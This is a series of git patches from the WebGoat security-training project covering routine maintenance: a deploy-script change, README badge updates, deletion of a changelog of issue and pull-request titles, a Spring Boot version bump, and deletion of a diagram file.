From 5bbdb8893cd1416752921f31f4a595ebe482baf9 Mon Sep 17 00:00:00 2001 From: nbaars Date: Tue, 2 Jan 2018 22:19:49 +0100 Subject: [PATCH 01/76] Not making a Docker release is we build develop (putting a tag will create a release which is more a controlled/intuitive way to make a release to Docker) (cherry picked from commit e3e7ed0) --- scripts/deploy-webgoat.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/scripts/deploy-webgoat.sh b/scripts/deploy-webgoat.sh index c0374ad373..652a0b9b03 100644 --- a/scripts/deploy-webgoat.sh +++ b/scripts/deploy-webgoat.sh @@ -14,9 +14,9 @@ elif [ ! -z "${TRAVIS_TAG}" ]; then # Creating a tag build we push it to Docker with that tag docker build --build-arg webgoat_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:${TRAVIS_TAG} -t $REPO:latest . docker push $REPO -elif [ "${BRANCH}" == "develop" ]; then - docker build -f Dockerfile -t $REPO:snapshot . - docker push $REPO +#elif [ "${BRANCH}" == "develop" ]; then +# docker build -f Dockerfile -t $REPO:snapshot . +# docker push $REPO else echo "Skipping releasing to DockerHub because it is a build of branch ${BRANCH}" fi \ No newline at end of file From 0120c7c3a601aeb26e04c8ad79b57b5c21c75af3 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Tue, 2 Jan 2018 22:50:10 +0100 Subject: [PATCH 02/76] Updating README.md --- README.MD | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.MD b/README.MD index 67f2b3b0e8..37b6672a41 100644 --- a/README.MD +++ b/README.MD @@ -4,8 +4,8 @@ [![Coverage Status](https://coveralls.io/repos/WebGoat/WebGoat/badge.svg?branch=develop&service=github)](https://coveralls.io/github/WebGoat/WebGoat?branch=master) [![Codacy Badge](https://api.codacy.com/project/badge/b69ee3a86e3b4afcaf993f210fccfb1d)](https://www.codacy.com/app/dm/WebGoat) [![Dependency Status](https://www.versioneye.com/user/projects/562da95ae346d7000e0369aa/badge.svg?style=flat)](https://www.versioneye.com/user/projects/562da95ae346d7000e0369aa) -[![OWASP Labs](https://img.shields.io/badge/owasp-labs-orange.svg)](https://www.owasp.org/index.php/OWASP_Project_Inventory#tab=Labs_Projects) - +[![OWASP Labs](https://img.shields.io/badge/owasp-lab%20project-f7b73c.svg)](https://www.owasp.org/index.php/OWASP_Project_Inventory#tab=Labs_Projects) +[![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest) # Introduction From a9ac00a075b02f9efde74b752444d6afc6451f00 Mon Sep 17 00:00:00 2001 From: nbaars Date: Mon, 8 Jan 2018 23:41:58 +0100 Subject: [PATCH 03/76] Clean up --- CHANGELOG.md | 245 ------------------ pom.xml | 2 +- .../documentation/csrf-lesson.gliffy | 1 - .../documentation/csrf-lessons.png | Bin 16587 -> 0 bytes .../webgoat/plugin/WebWolfIntroduction.java | 2 +- 5 files changed, 2 insertions(+), 248 deletions(-) delete mode 100644 CHANGELOG.md delete mode 100644 webgoat-container/documentation/csrf-lesson.gliffy delete mode 100644 webgoat-container/documentation/csrf-lessons.png diff --git a/CHANGELOG.md b/CHANGELOG.md deleted file mode 100644 index c9b080539b..0000000000 --- a/CHANGELOG.md +++ /dev/null @@ -1,245 +0,0 @@ -# Change Log - -## [7.1](https://github.com/WebGoat/WebGoat/tree/7.1) (2016-11-18) -[Full Changelog](https://github.com/WebGoat/WebGoat/compare/7.0.1...7.1) - -**Implemented enhancements:** - -- i8n highlighting [\#96](https://github.com/WebGoat/WebGoat/issues/96) -- Improve uniqueness of menu item Id's [\#45](https://github.com/WebGoat/WebGoat/issues/45) - -**Fixed bugs:** - -- Stored XSS Lesson does not render message and attack does not fire [\#141](https://github.com/WebGoat/WebGoat/issues/141) -- Source code is not available for this lesson. [\#137](https://github.com/WebGoat/WebGoat/issues/137) - -**Closed issues:** - -- Fix lesson client side filtering [\#272](https://github.com/WebGoat/WebGoat/issues/272) -- Reset lesson does not work anymore [\#271](https://github.com/WebGoat/WebGoat/issues/271) -- Lesson plans not loading with manual build and easy-run jar \(standalone jar\) not running at all [\#268](https://github.com/WebGoat/WebGoat/issues/268) -- Unable to download webgoat jar file [\#261](https://github.com/WebGoat/WebGoat/issues/261) -- Developer edition build isn't working in its entirety [\#260](https://github.com/WebGoat/WebGoat/issues/260) -- Amazon S3 downloadable JAR is missing [\#259](https://github.com/WebGoat/WebGoat/issues/259) -- Code does not compile on dev branch [\#258](https://github.com/WebGoat/WebGoat/issues/258) -- Executable jar crashes if empty .extract folder exist [\#251](https://github.com/WebGoat/WebGoat/issues/251) -- Java Error Message in Lesson "How to Bypass a Path Based Access Control Scheme" [\#240](https://github.com/WebGoat/WebGoat/issues/240) -- developer bootstrap says git is missing when it is installed [\#236](https://github.com/WebGoat/WebGoat/issues/236) -- Application Won't Start [\#234](https://github.com/WebGoat/WebGoat/issues/234) -- Restart lesson button isn't working [\#226](https://github.com/WebGoat/WebGoat/issues/226) -- Navigation to start page is broken after login [\#218](https://github.com/WebGoat/WebGoat/issues/218) -- Links in menu missing pointer cursor [\#216](https://github.com/WebGoat/WebGoat/issues/216) -- Restart lesson button not working [\#213](https://github.com/WebGoat/WebGoat/issues/213) -- WebGoat stops at DEBUG - Exit: getEngine\(\) [\#211](https://github.com/WebGoat/WebGoat/issues/211) -- Labs: Remnant files and solved stages [\#208](https://github.com/WebGoat/WebGoat/issues/208) -- Labs: Navigating to Instructor java examples [\#206](https://github.com/WebGoat/WebGoat/issues/206) -- WebGoat 7.0 and ZAP 2.4.3 will not proxy [\#204](https://github.com/WebGoat/WebGoat/issues/204) -- Failing Build [\#201](https://github.com/WebGoat/WebGoat/issues/201) -- Missing mvn package of webgoat-container in README.MD [\#200](https://github.com/WebGoat/WebGoat/issues/200) -- Seems translation to Russian for "Congratulations. You have successfully completed this lesson." phrase is broken. [\#199](https://github.com/WebGoat/WebGoat/issues/199) -- HtmlEncoder uses static methods but must be instantiated [\#195](https://github.com/WebGoat/WebGoat/issues/195) -- webgoat-container should unpack all the lessons [\#192](https://github.com/WebGoat/WebGoat/issues/192) -- Access Control Flaws, LAB stage 3: Remove the FindProfile screen [\#186](https://github.com/WebGoat/WebGoat/issues/186) -- Injection Flaws | XPath Injection date file path issue [\#184](https://github.com/WebGoat/WebGoat/issues/184) -- hints don't appear to work on labs [\#183](https://github.com/WebGoat/WebGoat/issues/183) -- Session Management Flaws - Spoof an Authentication Cookie render issue [\#181](https://github.com/WebGoat/WebGoat/issues/181) -- Challenge - Show\* buttons show on initial lesson load [\#180](https://github.com/WebGoat/WebGoat/issues/180) -- Http Basics - minor edits and change completion state [\#178](https://github.com/WebGoat/WebGoat/issues/178) -- Lab Cross-Site Scripting Stage 1 solution [\#176](https://github.com/WebGoat/WebGoat/issues/176) -- Backdoor lesson breaks menu CSS [\#175](https://github.com/WebGoat/WebGoat/issues/175) -- Redirect localhost:8080 to localhost:8080/WebGoat [\#173](https://github.com/WebGoat/WebGoat/issues/173) -- Session Fixation link in stage 2 does not work [\#170](https://github.com/WebGoat/WebGoat/issues/170) -- A failure occurred when execute the command "sh webgoat\_developer\_bootstrap.sh" [\#145](https://github.com/WebGoat/WebGoat/issues/145) -- Copy lessons into plugin\_lessons [\#254](https://github.com/WebGoat/WebGoat/issues/254) -- WebGoat // Lesson Plan and Solution are note available [\#242](https://github.com/WebGoat/WebGoat/issues/242) -- Lab: Client side filtering - broken path [\#232](https://github.com/WebGoat/WebGoat/issues/232) -- AXIS class not found error in Web Services / WSDL Scanning [\#222](https://github.com/WebGoat/WebGoat/issues/222) -- WSDL link in SOAP Request Lesson crashing with AXIS error [\#221](https://github.com/WebGoat/WebGoat/issues/221) -- Labs: RBAC stage 1 and 3 not working [\#209](https://github.com/WebGoat/WebGoat/issues/209) -- How to create a Legacy Lesson - instruction edit [\#177](https://github.com/WebGoat/WebGoat/issues/177) -- Can't tell when WebGoat has actually started when using: webgoat\_developer\_bootstrap.sh [\#75](https://github.com/WebGoat/WebGoat/issues/75) - -**Merged pull requests:** - -- Add VMware fusion [\#264](https://github.com/WebGoat/WebGoat/pull/264) ([akiernan](https://github.com/akiernan)) -- Remove Exception from method signature [\#257](https://github.com/WebGoat/WebGoat/pull/257) ([RubieV](https://github.com/RubieV)) -- Code cleanup using @Test\(expected = Exception\) [\#256](https://github.com/WebGoat/WebGoat/pull/256) ([RubieV](https://github.com/RubieV)) -- Added OWASP Labs badge [\#252](https://github.com/WebGoat/WebGoat/pull/252) ([psiinon](https://github.com/psiinon)) -- updates from day 1 @AppSec EU [\#246](https://github.com/WebGoat/WebGoat/pull/246) ([misfir3](https://github.com/misfir3)) -- Update java required version as stated in webgoat/webgoat\#234 [\#243](https://github.com/WebGoat/WebGoat/pull/243) ([span](https://github.com/span)) -- Updates to Dev Bootstrap [\#239](https://github.com/WebGoat/WebGoat/pull/239) ([dilshanraja](https://github.com/dilshanraja)) -- Fix broken start/home link on logo [\#229](https://github.com/WebGoat/WebGoat/pull/229) ([span](https://github.com/span)) -- Developer controls [\#228](https://github.com/WebGoat/WebGoat/pull/228) ([span](https://github.com/span)) -- Admin should also be able to see the solution, source and lesson plan. [\#224](https://github.com/WebGoat/WebGoat/pull/224) ([nbaars](https://github.com/nbaars)) -- Fixed the classnames in the wsdd config file \(moved to different pack… [\#223](https://github.com/WebGoat/WebGoat/pull/223) ([nbaars](https://github.com/nbaars)) -- Feature/169 [\#220](https://github.com/WebGoat/WebGoat/pull/220) ([nbaars](https://github.com/nbaars)) -- Update README.MD [\#219](https://github.com/WebGoat/WebGoat/pull/219) ([muzir](https://github.com/muzir)) -- Fix \#213 by changing the id of the restart button to the correct id [\#214](https://github.com/WebGoat/WebGoat/pull/214) ([span](https://github.com/span)) -- Fixed \#184 [\#212](https://github.com/WebGoat/WebGoat/pull/212) ([nbaars](https://github.com/nbaars)) -- Fix shebang [\#210](https://github.com/WebGoat/WebGoat/pull/210) ([nxadm](https://github.com/nxadm)) -- Enable weak authentication cookie lesson [\#207](https://github.com/WebGoat/WebGoat/pull/207) ([span](https://github.com/span)) -- -- Remove raw type usage, add type check parameter. [\#205](https://github.com/WebGoat/WebGoat/pull/205) ([muzir](https://github.com/muzir)) -- Update package references in readme [\#203](https://github.com/WebGoat/WebGoat/pull/203) ([span](https://github.com/span)) -- Develop [\#202](https://github.com/WebGoat/WebGoat/pull/202) ([misfir3](https://github.com/misfir3)) -- Fixes \#195 by adding static initialisation of the maps [\#197](https://github.com/WebGoat/WebGoat/pull/197) ([span](https://github.com/span)) -- Add stage parameter in the session to keep track of current stage [\#196](https://github.com/WebGoat/WebGoat/pull/196) ([span](https://github.com/span)) -- webgoat-container should unpack all the lessons \#192 [\#193](https://github.com/WebGoat/WebGoat/pull/193) ([nbaars](https://github.com/nbaars)) - -## [7.0.1](https://github.com/WebGoat/WebGoat/tree/7.0.1) (2016-02-01) -**Implemented enhancements:** - -- SEVERE: The web application \[/WebGoat\] appears to have started a thread named \[pool-7-thread-5\] but has failed to stop it. This is very likely to create a memory leak [\#124](https://github.com/WebGoat/WebGoat/issues/124) -- Cannot serialize session attribute [\#123](https://github.com/WebGoat/WebGoat/issues/123) -- Overview of which lessons maps to which WebGoat-Lessons project [\#107](https://github.com/WebGoat/WebGoat/issues/107) -- Remove ace js directory [\#103](https://github.com/WebGoat/WebGoat/issues/103) -- Move webgoat-container UP one directory [\#100](https://github.com/WebGoat/WebGoat/issues/100) -- Insecure login lesson has inline CSS background image is not applied [\#87](https://github.com/WebGoat/WebGoat/issues/87) -- Re-enable/update WebGoat Info link [\#26](https://github.com/WebGoat/WebGoat/issues/26) -- User Info/Logout Links [\#25](https://github.com/WebGoat/WebGoat/issues/25) -- LessonInfo Service [\#23](https://github.com/WebGoat/WebGoat/issues/23) -- Reload/Update Menu [\#22](https://github.com/WebGoat/WebGoat/issues/22) - -**Fixed bugs:** - -- Nightly build doesn't run [\#150](https://github.com/WebGoat/WebGoat/issues/150) -- Forced browsing lesson does not show success [\#143](https://github.com/WebGoat/WebGoat/issues/143) -- Failed to load resource: the server responded with a status of 404 \(Not Found\) [\#139](https://github.com/WebGoat/WebGoat/issues/139) -- Firefox and Edge miss one lesson in Menu [\#49](https://github.com/WebGoat/WebGoat/issues/49) -- Lesson Plan does not toggle on/off [\#46](https://github.com/WebGoat/WebGoat/issues/46) -- Clicking on 'LAB: Role Based Access Control' produces 'Invalid Session' in UI [\#44](https://github.com/WebGoat/WebGoat/issues/44) -- Lesson Loading Scrolls down page in Firefox [\#39](https://github.com/WebGoat/WebGoat/issues/39) -- WebGoat lessons do not load [\#32](https://github.com/WebGoat/WebGoat/issues/32) -- Properties are appended when loading plugins [\#29](https://github.com/WebGoat/WebGoat/issues/29) - -**Closed issues:** - -- Exceptions for all lessons in "LAB: DB SQL Injection" and "LAB: SQL Injection" [\#174](https://github.com/WebGoat/WebGoat/issues/174) -- JSP Goathills lessons imports are not valid [\#171](https://github.com/WebGoat/WebGoat/issues/171) -- update or remove http://webgoat.github.io/ [\#167](https://github.com/WebGoat/WebGoat/issues/167) -- Provide over-rideable 'submitMethod' via AbstractLesson [\#165](https://github.com/WebGoat/WebGoat/issues/165) -- Update HTTP Basics lesson [\#162](https://github.com/WebGoat/WebGoat/issues/162) -- Command Injection Issue WebGoat 7 [\#156](https://github.com/WebGoat/WebGoat/issues/156) -- XML Injection does not work [\#151](https://github.com/WebGoat/WebGoat/issues/151) -- Plan is not available for this lesson. [\#138](https://github.com/WebGoat/WebGoat/issues/138) -- Multi level login lesson works but is missing area around the form [\#135](https://github.com/WebGoat/WebGoat/issues/135) -- SEVERE: The web application \[/WebGoat\] registered the JDBC driver \[org.h2.Driver\] but failed to unregister it when the web application was stopped. To prevent a memory leak, the JDBC Driver has been forcibly unregistered [\#134](https://github.com/WebGoat/WebGoat/issues/134) -- hints are not refreshed when switching lessons [\#133](https://github.com/WebGoat/WebGoat/issues/133) -- Sauce labs fails when running oraclejdk8 [\#118](https://github.com/WebGoat/WebGoat/issues/118) -- Logging in sometimes goes to report card and misses category-menu [\#114](https://github.com/WebGoat/WebGoat/issues/114) -- Order of elements in deployment descriptor [\#112](https://github.com/WebGoat/WebGoat/issues/112) -- The jar snapshot doesn't run [\#108](https://github.com/WebGoat/WebGoat/issues/108) -- re-enable challenge handling in LessonInfoModel [\#97](https://github.com/WebGoat/WebGoat/issues/97) -- Review and cleanup releases and builds [\#90](https://github.com/WebGoat/WebGoat/issues/90) -- Review and cleanup Installation Docs [\#89](https://github.com/WebGoat/WebGoat/issues/89) -- Ajax Security: LAB: Client Side Filtering [\#86](https://github.com/WebGoat/WebGoat/issues/86) -- Close button on about dialog does not close the dialog [\#81](https://github.com/WebGoat/WebGoat/issues/81) -- Lessons Intermittently showing up in WebGoat [\#76](https://github.com/WebGoat/WebGoat/issues/76) -- Order of buttons switch after submit [\#73](https://github.com/WebGoat/WebGoat/issues/73) -- After login, there is no default lesson [\#72](https://github.com/WebGoat/WebGoat/issues/72) -- Intermittent Startup Error [\#71](https://github.com/WebGoat/WebGoat/issues/71) -- Discover Clues in HTML lesson doesn't work [\#70](https://github.com/WebGoat/WebGoat/issues/70) -- Eclipse import error for webgoat-container [\#66](https://github.com/WebGoat/WebGoat/issues/66) -- Reflected XSS Attacks error message error [\#65](https://github.com/WebGoat/WebGoat/issues/65) -- Labs with Stages all throw exceptions [\#64](https://github.com/WebGoat/WebGoat/issues/64) -- Spelling errors in: webgoat\_developer\_bootstrap.sh [\#63](https://github.com/WebGoat/WebGoat/issues/63) -- CSRF token by-pass lesson shows stacktrace [\#60](https://github.com/WebGoat/WebGoat/issues/60) -- Http Basics lessons fails to load [\#53](https://github.com/WebGoat/WebGoat/issues/53) -- Null Pointer Exception on every page [\#47](https://github.com/WebGoat/WebGoat/issues/47) -- Create support in client-side routing for 'stages' [\#42](https://github.com/WebGoat/WebGoat/issues/42) -- Implement Loading Spinner on Menu [\#41](https://github.com/WebGoat/WebGoat/issues/41) -- Lab - DOM-based cross-site scripting: Java Source produces XSS alert [\#38](https://github.com/WebGoat/WebGoat/issues/38) -- DOM Injection Lesson - Java Source does not work [\#37](https://github.com/WebGoat/WebGoat/issues/37) -- Lesson Interdependency [\#33](https://github.com/WebGoat/WebGoat/issues/33) -- Hide menu functionality [\#28](https://github.com/WebGoat/WebGoat/issues/28) -- Consume LessonInfo Service to display title [\#24](https://github.com/WebGoat/WebGoat/issues/24) -- how to up webgoat to netbeans on mac os x. [\#14](https://github.com/WebGoat/WebGoat/issues/14) - -**Merged pull requests:** - -- Disable cross-site scripting lab [\#191](https://github.com/WebGoat/WebGoat/pull/191) ([span](https://github.com/span)) -- Adding OSSRH Repository on Parent Pom [\#190](https://github.com/WebGoat/WebGoat/pull/190) ([dougmorato](https://github.com/dougmorato)) -- Setting GPG keyname as WebGoat in Parent Pom [\#189](https://github.com/WebGoat/WebGoat/pull/189) ([dougmorato](https://github.com/dougmorato)) -- Fixining all the javadoc issues preventing the release [\#188](https://github.com/WebGoat/WebGoat/pull/188) ([dougmorato](https://github.com/dougmorato)) -- Improving WebGoat Developer Bootstrap Script [\#187](https://github.com/WebGoat/WebGoat/pull/187) ([dougmorato](https://github.com/dougmorato)) -- issue \#147 disabling broken lessons [\#185](https://github.com/WebGoat/WebGoat/pull/185) ([mayhew64](https://github.com/mayhew64)) -- \#167 removing refrences to github.io in code [\#172](https://github.com/WebGoat/WebGoat/pull/172) ([misfir3](https://github.com/misfir3)) -- \#165 support for custom submitMethod [\#166](https://github.com/WebGoat/WebGoat/pull/166) ([misfir3](https://github.com/misfir3)) -- Remove Coverity Badge from README [\#164](https://github.com/WebGoat/WebGoat/pull/164) ([dougmorato](https://github.com/dougmorato)) -- Forced browsing [\#163](https://github.com/WebGoat/WebGoat/pull/163) ([nbaars](https://github.com/nbaars)) -- Moving lesson utilities to common project instead of AbstractLesson [\#155](https://github.com/WebGoat/WebGoat/pull/155) ([nbaars](https://github.com/nbaars)) -- \#133 hiding hint on change of lesson/loesson load [\#153](https://github.com/WebGoat/WebGoat/pull/153) ([misfir3](https://github.com/misfir3)) -- changed back to compile phase, package phase breaks the war-exec.jar … [\#152](https://github.com/WebGoat/WebGoat/pull/152) ([mayhew64](https://github.com/mayhew64)) -- Fixes typo in README [\#149](https://github.com/WebGoat/WebGoat/pull/149) ([aravindc26](https://github.com/aravindc26)) -- \#66 Fixing jar plugin lifecycle issue [\#148](https://github.com/WebGoat/WebGoat/pull/148) ([slavP](https://github.com/slavP)) -- Tidy up CSRF lessons. [\#147](https://github.com/WebGoat/WebGoat/pull/147) ([ilatypov](https://github.com/ilatypov)) -- Updated pom versions and cache .m2 on travis to speed build time [\#140](https://github.com/WebGoat/WebGoat/pull/140) ([dougmorato](https://github.com/dougmorato)) -- Update dependency version, build number and unregister DB driver [\#136](https://github.com/WebGoat/WebGoat/pull/136) ([dougmorato](https://github.com/dougmorato)) -- SEVERE: The web application \[/WebGoat\] appears to have started a thr… [\#132](https://github.com/WebGoat/WebGoat/pull/132) ([nbaars](https://github.com/nbaars)) -- Do not clean before mvn cobertura and coveralls [\#131](https://github.com/WebGoat/WebGoat/pull/131) ([dougmorato](https://github.com/dougmorato)) -- Cannot serialize session attribute \#123 [\#130](https://github.com/WebGoat/WebGoat/pull/130) ([nbaars](https://github.com/nbaars)) -- Maven-tomcat plugin fix and correct typo on JS file [\#129](https://github.com/WebGoat/WebGoat/pull/129) ([dougmorato](https://github.com/dougmorato)) -- items ommited from menu spinner and some more clean up [\#127](https://github.com/WebGoat/WebGoat/pull/127) ([misfir3](https://github.com/misfir3)) -- Coveralls should be on Parent Pom [\#126](https://github.com/WebGoat/WebGoat/pull/126) ([dougmorato](https://github.com/dougmorato)) -- Adding badges for Coverity, Coveralls and Codacy [\#125](https://github.com/WebGoat/WebGoat/pull/125) ([dougmorato](https://github.com/dougmorato)) -- Test enable Coverity SAST [\#122](https://github.com/WebGoat/WebGoat/pull/122) ([dougmorato](https://github.com/dougmorato)) -- Improved README instructions for Easy Run [\#121](https://github.com/WebGoat/WebGoat/pull/121) ([dougmorato](https://github.com/dougmorato)) -- Copy whole target folder, not just individual file [\#120](https://github.com/WebGoat/WebGoat/pull/120) ([dougmorato](https://github.com/dougmorato)) -- Code cleanup and menu spinner [\#119](https://github.com/WebGoat/WebGoat/pull/119) ([misfir3](https://github.com/misfir3)) -- Logging in sometimes goes to report card and misses category-menu \#114 [\#117](https://github.com/WebGoat/WebGoat/pull/117) ([nbaars](https://github.com/nbaars)) -- Copy output and target info upload to S3 folder [\#116](https://github.com/WebGoat/WebGoat/pull/116) ([dougmorato](https://github.com/dougmorato)) -- Fix \#81 to activate close button in the modal footer [\#115](https://github.com/WebGoat/WebGoat/pull/115) ([span](https://github.com/span)) -- Fix \#112 deployment descriptor elements in wrong order [\#113](https://github.com/WebGoat/WebGoat/pull/113) ([span](https://github.com/span)) -- \#103: removing ace directory, not in use [\#111](https://github.com/WebGoat/WebGoat/pull/111) ([misfir3](https://github.com/misfir3)) -- The jar snapshot doesn't run \#108 \(2\) [\#110](https://github.com/WebGoat/WebGoat/pull/110) ([nbaars](https://github.com/nbaars)) -- The jar snapshot doesn't run \#108 [\#109](https://github.com/WebGoat/WebGoat/pull/109) ([nbaars](https://github.com/nbaars)) -- Removed credits from lessons [\#106](https://github.com/WebGoat/WebGoat/pull/106) ([nbaars](https://github.com/nbaars)) -- Fixed classloading issues with Goathills lessons [\#105](https://github.com/WebGoat/WebGoat/pull/105) ([nbaars](https://github.com/nbaars)) -- i8n highlighting \#96 [\#102](https://github.com/WebGoat/WebGoat/pull/102) ([nbaars](https://github.com/nbaars)) -- \#97, updating controls for hints, source, solution and plans on lessons [\#101](https://github.com/WebGoat/WebGoat/pull/101) ([misfir3](https://github.com/misfir3)) -- Button to force plugin reloading \#93 [\#99](https://github.com/WebGoat/WebGoat/pull/99) ([nbaars](https://github.com/nbaars)) -- \#97, Hint controls for CHALLENGE Category lessons [\#98](https://github.com/WebGoat/WebGoat/pull/98) ([misfir3](https://github.com/misfir3)) -- \#23, \#24 - LessonInfo Service now used for TitleView and HelpControsView [\#94](https://github.com/WebGoat/WebGoat/pull/94) ([misfir3](https://github.com/misfir3)) -- Properties are appended when loading plugins \(\#29\) [\#88](https://github.com/WebGoat/WebGoat/pull/88) ([nbaars](https://github.com/nbaars)) -- Added a lesson restart for lesson specific restart actions [\#85](https://github.com/WebGoat/WebGoat/pull/85) ([mayhew64](https://github.com/mayhew64)) -- Fixing inconsistent merge issues implementing nbaars fixes [\#83](https://github.com/WebGoat/WebGoat/pull/83) ([dougmorato](https://github.com/dougmorato)) -- Updated contributors and sponsors [\#82](https://github.com/WebGoat/WebGoat/pull/82) ([mayhew64](https://github.com/mayhew64)) -- \#72, defaulting to firstLesson on initial redirect [\#80](https://github.com/WebGoat/WebGoat/pull/80) ([misfir3](https://github.com/misfir3)) -- Intermittent Startup Error \#71 [\#79](https://github.com/WebGoat/WebGoat/pull/79) ([nbaars](https://github.com/nbaars)) -- Adding Coverity Static Code Analysis Scan integration [\#78](https://github.com/WebGoat/WebGoat/pull/78) ([dougmorato](https://github.com/dougmorato)) -- Pom refactoring, javadocs compliance and Integration improvements [\#77](https://github.com/WebGoat/WebGoat/pull/77) ([dougmorato](https://github.com/dougmorato)) -- Property files are now detected while extracting the plugin [\#74](https://github.com/WebGoat/WebGoat/pull/74) ([nbaars](https://github.com/nbaars)) -- Recent UI Fixes [\#61](https://github.com/WebGoat/WebGoat/pull/61) ([misfir3](https://github.com/misfir3)) -- Lab - DOM-based cross-site scripting: Java Source produces XSS alert \#38 [\#59](https://github.com/WebGoat/WebGoat/pull/59) ([nbaars](https://github.com/nbaars)) -- Update README.MD [\#57](https://github.com/WebGoat/WebGoat/pull/57) ([mayhew64](https://github.com/mayhew64)) -- Do NOT run Integration tests on pull requests [\#56](https://github.com/WebGoat/WebGoat/pull/56) ([dougmorato](https://github.com/dougmorato)) -- Increase performance while extracting the plugins [\#55](https://github.com/WebGoat/WebGoat/pull/55) ([nbaars](https://github.com/nbaars)) -- Http Basics lessons fails to load \#53 [\#54](https://github.com/WebGoat/WebGoat/pull/54) ([nbaars](https://github.com/nbaars)) -- Adding headless Integration Tests with Sauce Labs [\#50](https://github.com/WebGoat/WebGoat/pull/50) ([dougmorato](https://github.com/dougmorato)) -- Null Pointer Exception on every page \#47 [\#48](https://github.com/WebGoat/WebGoat/pull/48) ([nbaars](https://github.com/nbaars)) -- menu and routing work [\#43](https://github.com/WebGoat/WebGoat/pull/43) ([misfir3](https://github.com/misfir3)) -- Fixes for issue \#32 - lessons/menu not loading [\#40](https://github.com/WebGoat/WebGoat/pull/40) ([misfir3](https://github.com/misfir3)) -- Fixed not serializable error when stopping/starting Tomcat [\#36](https://github.com/WebGoat/WebGoat/pull/36) ([nbaars](https://github.com/nbaars)) -- Improved README, fixed copy lessons instructions, added developer bootstrap [\#35](https://github.com/WebGoat/WebGoat/pull/35) ([dougmorato](https://github.com/dougmorato)) -- Improved Travis Build and Instructions on Readme [\#31](https://github.com/WebGoat/WebGoat/pull/31) ([dougmorato](https://github.com/dougmorato)) -- recent modifications from my branch [\#30](https://github.com/WebGoat/WebGoat/pull/30) ([misfir3](https://github.com/misfir3)) -- initial cut of paramView re-enabled [\#21](https://github.com/WebGoat/WebGoat/pull/21) ([misfir3](https://github.com/misfir3)) -- Removing doc directory which contained 6 year old stale files [\#18](https://github.com/WebGoat/WebGoat/pull/18) ([dougmorato](https://github.com/dougmorato)) -- First pull request, minor fix [\#17](https://github.com/WebGoat/WebGoat/pull/17) ([silicakes](https://github.com/silicakes)) -- cookie view re-enabled [\#16](https://github.com/WebGoat/WebGoat/pull/16) ([misfir3](https://github.com/misfir3)) -- Incremental UI changes [\#15](https://github.com/WebGoat/WebGoat/pull/15) ([misfir3](https://github.com/misfir3)) -- Merged changes from WebGoat-Legacy to WebGoat [\#13](https://github.com/WebGoat/WebGoat/pull/13) ([nbaars](https://github.com/nbaars)) -- Merge pull request \#48 from michaeldever/master [\#11](https://github.com/WebGoat/WebGoat/pull/11) ([nbaars](https://github.com/nbaars)) -- restoring READMe.txt [\#10](https://github.com/WebGoat/WebGoat/pull/10) ([misfir3](https://github.com/misfir3)) -- Initial cut-over of backbone port [\#9](https://github.com/WebGoat/WebGoat/pull/9) ([misfir3](https://github.com/misfir3)) -- Added a method so we can fetch the absolute path of a lesson [\#8](https://github.com/WebGoat/WebGoat/pull/8) ([nbaars](https://github.com/nbaars)) -- Fixed rewriting paths in the jsp/js and css resources [\#7](https://github.com/WebGoat/WebGoat/pull/7) ([nbaars](https://github.com/nbaars)) -- Classloader introduced [\#6](https://github.com/WebGoat/WebGoat/pull/6) ([nbaars](https://github.com/nbaars)) -- Instructions for manual deployment [\#5](https://github.com/WebGoat/WebGoat/pull/5) ([iammyr](https://github.com/iammyr)) -- Renamed the jar file [\#4](https://github.com/WebGoat/WebGoat/pull/4) ([nbaars](https://github.com/nbaars)) -- Fixed classloading issues when a lesson contains an inner class. The plu... [\#3](https://github.com/WebGoat/WebGoat/pull/3) ([nbaars](https://github.com/nbaars)) -- Generate separate jar file to use in the lessons project [\#2](https://github.com/WebGoat/WebGoat/pull/2) ([nbaars](https://github.com/nbaars)) -- Bug fix: lesson solution not showing [\#1](https://github.com/WebGoat/WebGoat/pull/1) ([nbaars](https://github.com/nbaars)) - - - -\* *This Change Log was automatically generated by [github_changelog_generator](https://github.com/skywinder/Github-Changelog-Generator)* \ No newline at end of file diff --git a/pom.xml b/pom.xml index ed6151f876..972af72c8d 100644 --- a/pom.xml +++ b/pom.xml @@ -20,7 +20,7 @@ org.springframework.boot spring-boot-starter-parent - 1.5.5.RELEASE + 1.5.9.RELEASE diff --git a/webgoat-container/documentation/csrf-lesson.gliffy b/webgoat-container/documentation/csrf-lesson.gliffy deleted file mode 100644 index 364f3802f3..0000000000 --- a/webgoat-container/documentation/csrf-lesson.gliffy +++ /dev/null @@ -1 +0,0 @@ -{"contentType":"application/gliffy+json","version":"1.1","metadata":{"title":"untitled","revision":0,"exportBorder":false},"embeddedResources":{"index":0,"resources":[]},"stage":{"objects":[{"x":201,"y":233,"rotation":0,"id":22,"uid":"com.gliffy.shape.basic.basic_v1.default.line","width":100,"height":100,"lockAspectRatio":false,"lockShape":false,"order":22,"graphic":{"type":"Line","Line":{"strokeWidth":2,"strokeColor":"#000000","fillColor":"none","dashStyle":null,"startArrow":0,"endArrow":1,"startArrowRotation":"auto","endArrowRotation":"auto","ortho":false,"interpolationType":"linear","cornerRadius":null,"controlPath":[[0,0],[301.0066444449358,0]],"lockSegments":{}}},"children":[{"x":0,"y":0,"rotation":0,"id":24,"uid":null,"width":118,"height":14,"lockAspectRatio":false,"lockShape":false,"order":"auto","graphic":{"type":"Text","Text":{"tid":null,"valign":"middle","overflow":"both","vposition":"none","hposition":"none","html":"

images gets reloaded

